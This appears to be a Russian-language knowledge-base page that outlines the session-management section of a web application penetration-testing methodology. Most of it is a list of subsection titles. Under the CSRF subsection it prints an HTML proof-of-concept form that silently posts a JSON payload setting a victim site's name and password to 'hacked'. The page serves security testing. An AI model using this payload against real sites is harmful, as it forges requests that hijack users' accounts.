База знаний

4.6 Сессии

:::tip Формат страницы

Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.

:::

Порядок действий

1. Откройте соответствующий подраздел методики тестирования веб‑приложений.
2. Зафиксируйте объект, роль и предпосылки теста.
3. Пройдите сценарии по чек‑листу, сохраняя запросы, ответы и выводы.
4. Ниже — структура темы и примеры команд на английском.

Методика

4.6.1 Testing for Session Management Schema

​

4.6.2 Testing for Cookies Attributes

​

4.6.3 Testing for Session Fixation

​

4.6.4 Testing for Exposed Session Variables

​

4.6.5 Testing for Cross Site Request Forgery

<html>
 <body>
  <script>history.pushState('', '', '/')</script>
   <form action='http://victimsite.com' method='POST' enctype='text/plain'>
     <input type='hidden' name='{"name":"hacked","password":"hacked","padding":"'value='something"}' />
     <input type='submit' value='Submit request' />
   </form>
 </body>
</html>

​

4.6.6 Testing for Logout Functionality

​

4.6.7 Testing Session Timeout

​

4.6.8 Testing for Session Puzzling

​

4.6.9 Testing for Session Hijacking

​

4.6.10 Testing JSON Web Tokens

​

4.6.11 Testing for Concurrent Sessions

​

—